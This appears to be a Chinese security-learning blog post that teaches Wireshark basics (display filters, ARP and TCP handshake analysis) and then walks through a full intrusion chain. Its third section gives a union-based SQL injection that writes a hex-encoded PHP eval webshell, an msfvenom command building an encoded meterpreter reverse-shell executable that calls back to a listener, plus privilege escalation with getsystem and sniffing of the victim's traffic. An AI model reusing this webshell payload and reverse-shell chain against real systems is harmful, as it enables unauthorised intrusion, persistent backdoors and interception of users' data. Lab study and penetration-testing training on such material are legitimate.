第五章-1 Wireshark的初步入门

每日一句:
		
		不好意思,这个章节晚了太久,之前认为用处不大没怎么总结。

		直到在项目中用到了,才发现没有总结。反面例子与教训。

本文内容:

		~Wireshark简介
		
		~Wireshark初步使用
		
		~MSF嗅探数据包分析
		
		~WSExplorer分析

目的: 快速上手初步使用Wireshark

一、Wireshark简介

	1.定义
			Wireshark是世界上最流行的网络分析工具。
			
			这个强大的工具可以捕捉网络中的数据,并为用户提供关于网络和上层协议的各种信息。
			
			值得注意的是Wireshark只能查看数据包,而不能修改数据包的内容,或者发送数据包。
			
			所以,对于一些http/https的数据包还是较为推荐burp进行测试。当然,大鲨鱼的优点也很明显,
			
			它支持(能抓到)的协议很多很多,一些网络工程师会经常用这个软件分析流量、学习一些协议。
			
	2.位置
			官网: https://www.wireshark.org
																			
			下载地址:https://www.wireshark.org/#download

			Wiki: https://wiki.wireshark.org/

	3.作用
			我们可以通过Wireshark进行分析网络进程的数据包

二、Wireshark初步使用

	0.简单介绍
	
	  (1)
			Wireshark是对网卡上数据的捕获,所以如果电脑上有多个网卡的话,
			
			需要对网卡进行一个选择。可以通过cmd的命令: ipconfig进行查看本机的网卡。
			
			万一选错了,怎么办?
			
			点击小鲨鱼尾巴旁边的 “ 停止捕获分组 ” ,之后选择鲨鱼尾巴上的“ 文件 ” -- “ 关闭 ”即可。
			
	  (2)	
			Wireshark的主要窗口分为5个,
			
			从到往下,依次为:	
					
					过滤器		:支持一些语法的使用,方便快速找出信息
					
					封包列表	:显示捕获到的一些封包数据,如源地址、目标地址、端口号、颜色不同,代表的数据也不相同。
								
									第一列的No是捕获序号,
						
									第二列的Time是相对捕获时间(从第一个包开始,你点击开始的那一刻)
									
									接着就是Source,来源的MAC地址	
									
									Destination,目标的MAC地址
									
									长度、协议、Info(详细描述)
									
																					
									补充:在选择一条数据的时候,“ No. ”的下边会出现一些友好的小图标
								
					封包详细信息:主要是有一些封包的字段
										
									Frame 2: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)
											
											//这个里面是物理层的一些信息
									
									Ethernet II, Src: Vmware_c0:00:08 (00:50:56:c0:00:08), Dst: Vmware_be:ab:21 (00:0c:29:be:ab:21)
									
											//这个里面是一些数据链路层的信息
									
									Internet Protocol Version 4, Src: 192.168.88.1, Dst: 192.168.88.132
									
											//这个里面是一些网络层的信息,一般有一些自己的IP与目标IP的信息
											
									Transmission Control Protocol, Src Port: 40725, Dst Port: 80, Seq: 0, Len: 0
											
											//传输层的信息,一般有一些端口信息(本机的,目标的),三次握手信息
											
									Hypertext Transfer Protocol
											
											//应用层的一些信息

					
					16进制信息	:一些16进制数据
									
									其实,当你选中一些 “ 封装详细信息 ”内容的时候,这个里面就会出现对应的16进制内容,
									
									有些未加密的内容,在右边会显示。
									
					最下边一小层是地址栏
			
									一般显示有多少条数据流记录
	
	1.比较运算符和逻辑运算符
	
			Comparison operators (比较运算符):可以使用6种比较运算符: 
			
					英文写法:     C语言写法: 	 含义:
					
						eq    		==     		 等于
						ne    		!=     		 不等于
						gt    		>      		 大于
						lt    		<    		 小于
						ge    		>=     		 大于等于
						le    		<=    		 小于等于
				
			Logical expressions(逻辑运算符):
			
					英文写法:     C语言写法:	 	含义:
					
						and 			 &&   		逻辑与
						or  			 ||     	逻辑或
						xor 			 ^^     	逻辑异或
						not 			 !       	逻辑非

	2.常见过滤器
		
		(1)协议过滤
					
				语法:	协议 . 	请求 . 	方法(可不写) 比较运算符	  值	 逻辑运算符(可不写) 	其他表达
				例如:	http   request		method			==		"POST"		or					icmp.type
						
			上实例分析:	
					
				http.request.method == "POST" or icmp.type         显示POST请求的数据包或者icmp协议的数据包
				
				ip.addr == 192.168.88.1                            显示IP地址192.163.88.1相关的数据包(包括发送的包与返回的包)
				
				ip.src == 10.230.0.0/16                            显示来自10.230.0.0/16网段的数据包
				
				http.host == "192.168.88.132"             		   显示主机192.168.88.132相关的数据包  
				
				tcp.port == 25                                     显示来源或目的TCP端口号为25的数据包
				
				tcp.dstport == 25                                  显示目的TCP端口号为25的数据包
				
				http.response.code==302                            显示http响应状态码为302的数据包

		(2)内容过滤
				
				contains :Does the protocol, field or slice contain a value
				
				tcp contains "http"                               显示包含"http"字符串的tcp数据包
				
				http.host contains “192.168.88.132”            	  显示包含主机192.168.88.132的数据包

		(3)注意
				
				~在过滤器那个地方,使用语法错误或者不全都会导致框内颜色变红。
				
				~命令太多,记不住怎么办?		点击过滤器框右边的 “ 表达式 ” 根据自己的印象选择,然后点击“ ok ”即可。
	
	3.分析一些现成的数据包
		
		(0)前提
				
				之前朋友给的一个XSS的数据包,正好一起来试试手。(文件名称:xss.pcap)
				
		(1)步骤(分析arp协议)
		
				点击小鲨鱼尾巴上边的“ 文件 ” -- “ 打开 ” -- 选择 xss.pcap,
				
				在过滤器,输入: arp3
				
					第一行的内容为:
					
							4.000000	Vmware_be:ab:21	Broadcast	ARP	42		Who has 192.168.88.1? Tell 192.168.88.132
		
							从这,就可以简单分析一下arp协议的过程,即知道MAC地址,寻找IP。如上述的详细处的意思:
							
							在网络中广播,谁是192.168.88.1,请告诉192.168.88.132
					
					第二行的内容为:
					
							4	4.000000	Vmware_c0:00:08	Vmware_be:ab:21	ARP	60		192.168.88.1 is at 00:50:56:c0:00:08
							
							意思是,我是192.168.88.1,我得MAC地址是XXX,来给我发消息吧
						
				这个时候,在过滤器中,输入tcp,就可以发现上述两个IP之间开始TCP的三次握手了。
				
				
				注意:
						
						~在本机做测试中,需要先打开本机的CMD,输入arp -d	清理一下arp缓存
						
						~清理完毕后,可以用命令,arp -a来查看本机的arp缓存表
						
						~打开wireshark开启监听;然后ping一下虚拟机的IP地址。
						
						~暂停Wireshark的监听,在次查看arp的缓存表应该会到一条记录
						
						~按照上述方法,既可在wrieshark中查看整个过程
						
						~当下次在ping虚拟机的时候,就不会问,虚拟机的MAC地址是多少而直接ping对应的了。
		
		(2)数据包
				
					上述的XSS数据包,有需要的可以私我。另外大家练习分析数据包的话,可以去大白鲨的官网去下载。
					
					官方提供了很多情况的数据包,应该也有对应的文章解析。	//下载地址: https://wiki.wireshark.org/SampleCaptures
					
					这是很不错的资源分享,因为一些数据包的获取,需要一些特殊环境才能抓到。
					
					另外,想学一些协议的时候,用大鲨鱼看看发送与返回包会学的很快。
					
					比如,有可以在我分享的那个XS.pcap中找找三次握手的包进行分析一下。(看看SYN、ACK的数值变化)
					
							是不是符合,SYN=0		--->		SYN=1,ACK=0			--->	ACK=1	这样的变化
							
							是不是紧紧挨着上述三个包的,第四个包就是如HTTP协议的信息了。
							
							当然,有的SYN并不是0,有可能是1、22、66、n等。但是不管是什么,
							
							紧接着返回包的值一定是:2、23、67、n+1等	;ACK也是这个情况。
	
	4.wireshark的追踪流功能
			
			功能作用:	选择某条记录,点击追踪TCP流,跳到该菜单后,主面板上包列表里,仅列出本次TCP会话的包。

			上两个前辈的示例:
							
							https://blog.51cto.com/yttitan/1737904
							
							https://blog.51cto.com/yttitan/1738099
			
			还是推荐大家看看

三、MSF嗅探数据包分析

	1.总体思路
	
			通过Mysql漏洞拿到webshell

			webshell上传MSF后门

			MSF开启嗅探数据

			wireshark分析数据包

	2.具体	
			(1)通过Mysql写日志拿到webshell
				
					sql导出文件的语句:
						
						~into outfile
						
						~into dumpfile
					
					举例:
					
							语句:	select 1,2,3 into dumpfile 'C:\\www\\123.txt'
							
							作用:	在“c:\www\”目录下新建123.txt。	其内容为“123”
					
					进阶:通过此方式写一句马
						
							语句:	select 1,2'<?php eval($_REQUEST[8])?>' into dumpfile 'C:\\www\\123.php'
							
							作用:	在“c:\www”目录下新建123.php文件,内容为一句马
							
					注意:
							(1.1)这个函数(into dumpfile)在mysql高版本是默认不开启的
							
									类似的还有load_file(),一般这两个函数要开启都会开启
						
							(1.2)如何存在堆叠注入(即可以同时执行多条语句),
						   
									可以通过日志的方法写webshell。
						
							(1.3)在phpstudy修改默认状态后,需要重启生效
							
							(1.4)在老一点的版本中是可以直接使用的,新版本会报一个1290权限的错误
						
					实战中的语句:url ?id=1 union select 1,'一句马内容' into dumpfile "C:\\www\\123.php"
					
					即在浏览器URL中的语句,但是这么写真的没什么问题吗?慢慢向下看。
					
							补充:
							
								(2.1)这个路径怎么获得?
										
										通过sql报错注入,使服务器爆出路径
									
										若爆不出,只能靠猜了。
										
										当然也可以配合别的攻击手段使爆出绝对路径
								
								(2.2)第一次写文件,建议先写一个txt文档,成功后在写php文件
								
										可以看看自己写到txt的代码有没有问题,避免一些悬学问题
								
								(2.3)一句马内容
								
										若直接写“<?php eval($_REQUEST[8])?>”肯定报错
									
										因为url栏中“?”一般代表传参,会冲突。
									
								(2.4)那一句马怎么写?
								
										将一句马内容16进制编码。即得到:
									
										“3c3f7068706576616c28245f524551554553545b385d293f3e”
									
										注意:16进制编码会将空格默认去掉,即上边的编码,
										  
												解码后是这样的:<?phpeval($_REQUEST[8])?>
										  
												而php中,那个空格是格式,这样的代码是会报错的。
										  
												怎么办?----->加空格!	(空格的16进制编码是20),
										  
												即在“3c3f706870”后加“20”。
										  
												事实上,3c3f706870就是是‘ <?php ’的编码
						
						综上,在url中的完整语句为:
						
						url?id=1 union select 1,'3c3f706870206576616c28245f524551554553545b385d293f3e' into dumpfile "C:\\www\\123.php"
								  
								(2.5)为什么要进行16进制编码?
									
										URL编码本质就是16进制
								
								(2.6)上述语句中为什么多加“1”(union select 1,内容)
									
										这个1,是联合查询中,要和前一个表的字段数相同所补充的格式
									
										实战中,可能会很多。		至于字段数可以通过“order by”判断出
								
								(2.7)路径为什么有两个“ \\ ”
									
										正常路径是:“C:\www\123.txt”。但是这需要转义
										
										要么路径中用“\\”,要么用“/”否则地路径会与网络路径会发生冲突
								
								(2.8)有时候sql注入爆不出回显点,可以将前边语句加个“and 1=2”
									
										正常语句: url id=1 union select 1,2			//不显示回显点
										
										构造语句: url id=1 and 1=2 union select 1,2	//出现回显点
								
								(2.9)为什么一句马中的$_REQUEST[8]用数字8
									
										因为这样的数字传参不用加单引号或者双引号,会简单很多
										
										建议以后同学们写马也用数字传参
					
						最后蚁剑连接一句马
			
			(2)webshell上传MSF后门
			
				(2.1)生成木马
				
						在kali的命令框内,依次执行下边两条命令:
					
						msfconsole
						
						msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=192.168.221.143 lport=1250 -f exe > shell.exe
					
							补充:	
							
								-p			指定payload   	;;	-e			指定编码平台
									
								-i			指定编码次数  	;;	-f			指定文件输出格式
									
								lhost		监听机的IP	  	;;	lport		监听机的端口
									
								msfvenom	MSF的编码模块 	;;	windows/meterpreter/reverse_tcp			一个反弹shell的payload
								
							//这个木马被生成在主目录文件夹下。
					
				(2.2)开启监听
			
						将生成的木马,通过蚁剑丢过去。在MSF中开启监听,命令如下:
				
								" use exploit/multi/handler "
						
						然后"options",查看需要配置什么,
							
								"set payload windows/meterpreter/reverse_tcp"
								
						在options查看,需要配置什么,
								
								"set lhost 192.168.221.143"
								
								"set lport 1250"
								
								"run"
				
				(2.3)运行木马
						
						回到蚁剑,打开蚁剑命令执行终端,
						
						"cd C:/phpstudy/XXXXXXX/WWW/"
						
						"shell.exe"
						
						此时,MSF那边应该就已经拿到了会话。
						
				(2.4)提升权限
					
						在MSF中运行命令,看看当前服务器信息能不能查看(验证是否成功获取会话) -->  "sysinfo"
						
						查看当前权限:"getuid"
						
						尝试直接提权:"getsystem"
						
						在次查看权限:"getuid"	在靶机目标这样直接提权成功,估计几乎没打什么补丁。
			
			(3)MSF开启嗅探数据
			
					加载嗅探模块命令: "load sniffer"	回车出现“xxxx success”表示加载成功
					
					开启嗅探:
					
							直接输入	" ? "		可以查看sniffer有哪些常用命令
						
							"sniffer_interfaces" 	查看可加载哪些网卡,
							
							"sniffer_start 2"		监听第二个网卡
							
							("ps"					列出此时系统的所以进程及其进程ID信息)(可不运行此命令)
							
							"sniffer_stop 2"		停止监听
							
							"sniffer_dump 2 Test.pcap"	导出刚刚监听网卡的数据包到Test.pcap
							
							//此文件应该被保存到 本地“ 主目录 ”下边了
			
			(4)wireshark分析数据包
					
					可以用wireshark打开Test.pcap,去找找一些有趣(无聊)的信息

四、WSExplorer分析

		这是一个类似wireshark的软件,但是不用设置网卡。打开可以抓到电脑上软件交互的信息。
		
		比如,我们将此软件打开,在打开一个含有后门的软件(如之前搞到一个含后门的菜刀)。
		
		同时将这两个应用打开,可以很明显的在WSExplorer中发现这个菜刀  
		
		向某Host的某目录发送POST包 进行交互请求,而且这个请求地址明显不是官方的。
	
		
		这两个软件有兴趣的可以私聊我要,建议在虚拟机打开玩玩,尽量不要在本机真实环境下养蛊。

猜你喜欢

转载自blog.csdn.net/weixin_43970718/article/details/107831096
今日推荐